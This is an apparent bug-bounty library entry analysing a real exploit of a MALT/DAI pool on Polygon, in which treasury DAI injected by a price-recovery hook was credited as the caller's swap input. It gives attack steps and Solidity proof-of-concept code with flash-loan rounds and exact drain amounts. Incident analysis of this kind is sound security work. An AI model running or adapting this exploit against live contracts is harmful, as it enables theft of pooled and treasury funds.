# MALT sLP: treasury rebalance counted as swap input drains Capital Source

MALT/DAI sLP credited treasury-injected rebalance DAI as caller swap input, letting a 1 DAI swap drain 12,744 DAI from Capital Source.

- Payout: Real-world hack
- Severity: critical
- Program: MALT
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-03
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/MALT_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261003-malt
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** UniswapV2-style MALT/DAI sLP pool with embedded price-recovery hook on Polygon
**Root cause:** swap() runs the below-peg price-recovery routine that pulls DAI from the Capital Source treasury into the pool before sending output, then checks the constant-product invariant against final balances without separating injected treasury DAI from the caller's input, crediting the injection as caller-supplied.
**Steps:**
1. Flash loan 1,300 DAI from Balancer Vault `0xBA12...F2C8`
2. Buy MALT on QuickSwap router `0xa5E0...78ff` with DAI
3. Transfer MALT to sLP `0xfe6C...7A13` and call `swap(0, daiOut, attacker)` to push pool below peg
4. Transfer 1 DAI to sLP and call `swap(maltOut, 0, attacker)`; recovery injects treasury DAI, invariant passes, large MALT released
5. Sell extracted MALT back on QuickSwap for DAI
6. Repeat rounds, repay flash loan, keep DAI difference
**How found:** Reconstructed from full on-chain call trace: sLP.swap -> recovery hook -> RewardThrottle -> CapitalSource DAI transfer into pair, then invariant checked on final balances; pool/treasury unverified so mechanism inferred from call tree and token flows, then reproduced against live contracts at fork block.
**Exploitation:** Atomic tx: Balancer flash loan funds QuickSwap MALT buys; MALT dumped into sLP to force below-peg; a 1 DAI transfer plus swap() triggers the recovery which pulls DAI from Capital Source into the pool, and the invariant check credits that injection as the caller's input, releasing disproportionate MALT; MALT arbitraged back to DAI on QuickSwap. Two big rounds drained 12,744.644506590589136718 DAI from treasury; net 13,440.58 DAI profit to attacker EOA.
**Escalation:** Repeated the cycle across three rounds (rounds 1 and 2 each triggered a treasury injection; round 3 had no treasury injection) within one flash-loan tx to reproduce the net figure exactly.
**Insight:** When a pool runs keeper/rebalance logic inside swap() before the invariant check, test whether injected treasury funds are counted as caller input by sending a dust amount and observing output vs. reserves; force the rebalance condition yourself rather than waiting for it.

## Proof of concept (copied exactly from the original report)

**Exploit contract round: 1 DAI in, recovery injects treasury**

```
function _round(uint256 buyDai, uint256 sellDaiOut, uint256 exploitDaiIn, uint256 exploitMaltOut) internal {
        // 1. Buy MALT on QuickSwap with DAI.
        _routerSwap(DAI, MALT, buyDai);

        // 2. Sell that MALT into the sLP (transfer-then-swap, UniV2 style) -> drives the sLP MALT below peg.
        IERC20(MALT).transfer(SLP_ADDR, IERC20(MALT).balanceOf(address(this)));
        SLP.swap(0, sellDaiOut, address(this));

        // 3. Transfer a negligible DAI input, then buy a large MALT amount out. swap() runs the recovery, which
        //    injects treasury DAI from the Capital Source and lets the invariant pass as if we had supplied it.
        IERC20(DAI).transfer(SLP_ADDR, exploitDaiIn);
        SLP.swap(exploitMaltOut, 0, address(this));
```

**Flash loan entry and round sequence**

```
function attack() external {
        address[] memory tokens = new address[](1);
        tokens[0] = DAI;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = LOAN;
        VAULT.flashLoan(address(this), tokens, amounts, "");
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory
    ) external {
        require(msg.sender == address(VAULT), "only vault");

        if (!approved) {
            IERC20(DAI).approve(address(ROUTER), type(uint256).max);
            IERC20(MALT).approve(address(ROUTER), type(uint256).max);
            approved = true;
        }

        _round(R1_BUY, R1_SELL_DAI_OUT, 1e18, R1_EXPLOIT_MALT_OUT);
        _round(R2_BUY, R2_SELL_DAI_OUT, 1e18, R2_EXPLOIT_MALT_OUT);
        _round(R3_BUY, R3_SELL_DAI_OUT, 50e18, R3_EXPLOIT_MALT_OUT);
```

**Exact on-chain per-leg amounts constants**

```
uint256 constant R1_BUY = 1_300e18; // DAI -> MALT on router
    uint256 constant R1_SELL_DAI_OUT = 2_047_278e15; // sLP.swap(0, daiOut): sell MALT for DAI (below peg)
    uint256 constant R1_EXPLOIT_MALT_OUT = 7_823_544e15; // sLP.swap(maltOut, 0): 1 DAI in -> recovery injects treasury DAI
    // Round 2
    uint256 constant R2_BUY = 2_850e18;
    uint256 constant R2_SELL_DAI_OUT = 6_459_541e15;
    uint256 constant R2_EXPLOIT_MALT_OUT = 8_229_254e15;
    // Round 3 (tail; no treasury injection - included to reproduce the net figure exactly)
    uint256 constant R3_BUY = 2_850e18;
    uint256 constant R3_SELL_DAI_OUT = 6_455_961e15;
    uint256 constant R3_EXPLOIT_MALT_OUT = 120_748e15;
```

